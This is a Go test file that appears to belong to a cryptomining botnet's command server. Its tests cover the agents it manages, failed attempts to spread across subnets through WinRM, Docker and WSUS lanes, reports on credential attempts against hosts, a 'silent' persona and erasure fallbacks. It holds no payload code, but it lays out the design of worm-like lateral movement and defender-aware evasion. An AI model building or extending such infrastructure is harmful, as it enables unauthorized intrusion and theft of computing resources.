package api import ( "encoding/json" "net/http" "net/http/httptest" "strings" "testing" "time" "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func TestSubnetAutopsyGETBuildsPacket(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() agentID := "autopsy-agent" if err := database.UpsertAgent(&models.Agent{ ID: agentID, Name: "Patient", Wallet: "x", IP: "10.0.0.50", Status: "online", }); err != nil { t.Fatal(err) } for i := 0; i < 5; i++ { _, _ = database.RecordSubnetSpreadFailure("10.0.0") } hub := NewWSHub(database) hub.SetServerPolicy(ServerPolicy{AIPersona: "silent", ErasureLanesEnabled: true}) hub.mu.Lock() hub.agentLiveTelemetry[agentID] = map[string]interface{}{ "join_lane": "wsus_cache_peer", "lotl_attempts": []map[string]interface{}{ {"tier": "winrm", "ok": false, "error": "auth failed", "phase": "spread"}, }, } hub.subnetGossipWhispers = map[string][]atlas.GossipHint{ "10.0.0": {{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}}, } hub.mu.Unlock() handler := NewSubnetAutopsyHandler(hub, NewPathTracerHandler(hub)) req := httptest.NewRequest(http.MethodGet, "/atlas/subnet-autopsy?subnet=10.0.0.x", nil) rec := httptest.NewRecorder() handler.Get(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var pkt atlas.SubnetAutopsyPacket if err := json.Unmarshal(rec.Body.Bytes(), &pkt); err != nil { t.Fatal(err) } if pkt.Prefix != "10.0.0" || pkt.FailCount != 5 { t.Fatalf("packet=%+v", pkt) } if pkt.Persona != "silent" || !pkt.ErasureFallback.AvailableAsFallback { t.Fatalf("policy fields=%+v", pkt) } if len(pkt.LOTLAttempts) == 0 || pkt.LOTLAttempts[0].Tier != "winrm" { t.Fatalf("attempts=%+v", pkt.LOTLAttempts) } if len(pkt.GossipWhispers) != 1 || pkt.CauseOfDeath == "" { t.Fatalf("gossip/cause=%+v %q", pkt.GossipWhispers, pkt.CauseOfDeath) } } func TestTriggerSubnetAutopsyEmitsSeerEvent(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() for i := 0; i < 5; i++ { _, _ = database.RecordSubnetSpreadFailure("10.1.1") } hub := NewWSHub(database) dashConn := connectTestDashboard(t, hub) recv := make(chan map[string]interface{}, 1) go func() { for { var msg Message if err := dashConn.ReadJSON(&msg); err != nil { return } if msg.Type != "seer_events" { continue } var body map[string]interface{} if json.Unmarshal(msg.Payload, &body) != nil { continue } recv <- body return } }() hub.TriggerSubnetAutopsy("10.1.1", nil) select { case ev := <-recv: if ev["type"] != "subnet_immune_autopsy" || ev["prefix"] != "10.1.1" { t.Fatalf("event=%v", ev) } if _, ok := ev["cause"].(string); !ok { t.Fatalf("missing cause: %v", ev) } case <-time.After(3 * time.Second): t.Fatal("timed out waiting for seer_events") } } func TestSpreadCredReportTriggersAutopsyOnPause(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() for i := 0; i < 4; i++ { _, _ = database.RecordSubnetSpreadFailure("10.2.2") } hub := NewWSHub(database) pathTracer := NewPathTracerHandler(hub) h := NewSpreadCredHandler(database, nil) h.BindAutopsyTrigger(hub, pathTracer) body := `{"host":"10.2.2.9","subnet":"10.2.2","credential_profile_id":"p1","success":false}` req := httptest.NewRequest(http.MethodPost, "/agent/spread-cred/report", strings.NewReader(body)) rec := httptest.NewRecorder() h.ReportEdge(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d", rec.Code) } pkt, ok := hub.SubnetAutopsy("10.2.2") if !ok || pkt.FailCount != 5 || pkt.CauseOfDeath == "" { t.Fatalf("autopsy=%+v ok=%v", pkt, ok) } }